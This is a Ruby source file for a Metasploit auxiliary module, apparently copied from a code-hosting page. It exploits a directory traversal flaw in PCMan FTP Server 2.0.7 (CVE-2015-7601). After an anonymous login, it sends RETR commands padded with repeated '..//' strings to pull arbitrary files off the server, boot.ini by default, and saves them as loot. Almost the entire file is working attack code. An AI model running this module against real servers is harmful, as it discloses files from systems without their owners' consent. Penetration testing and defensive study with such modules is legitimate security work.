101 lines
3.0 KiB
Ruby
101 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Ftp
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',
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'Description' => %q{
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This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
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This vulnerability allows an attacker to download arbitrary files from the server by crafting
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a RETR command that includes file system traversal strings such as '..//'
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},
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'Platform' => 'win',
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'Author' =>
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[
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'Jay Turla', # @shipcod3, msf and initial discovery
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'James Fitts', # initial discovery
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'Brad Wolfe <brad.wolfe[at]gmail.com>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '38340'],
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[ 'CVE', '2015-7601']
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],
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'DisclosureDate' => 'Sep 28 2015'
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))
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register_options(
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[
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OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
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OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
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], self.class)
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end
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def check_host(ip)
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begin
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connect
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if /220 PCMan's FTP Server 2\.0/i === banner
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return Exploit::CheckCode::Appears
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end
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ensure
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disconnect
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end
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Exploit::CheckCode::Safe
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end
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def run_host(target_host)
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begin
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# Login anonymously and open the socket that we'll use for data retrieval.
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connect_login
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sock = data_connect
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file_path = datastore['PATH']
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file = ::File.basename(file_path)
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# make RETR request and store server response message...
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retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
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res = send_cmd( ["RETR", retr_cmd])
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# read the file data from the socket that we opened
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response_data = sock.read(1024)
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unless response_data
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print_error("#{file_path} not found")
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return
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end
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if response_data.length == 0 or ! (res =~ /^150/ )
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print_status("File (#{file_path})from #{peer} is empty...")
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return
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end
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# store file data to loot
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loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
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vprint_status("Data returned:\n")
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vprint_line(response_data)
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print_good("Stored #{file_path} to #{loot_file}")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
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vprint_error(e.message)
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elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
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rescue ::Timeout::Error, ::Errno::EPIPE => e
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vprint_error(e.message)
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elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
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ensure
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data_disconnect
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disconnect
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end
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end
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end
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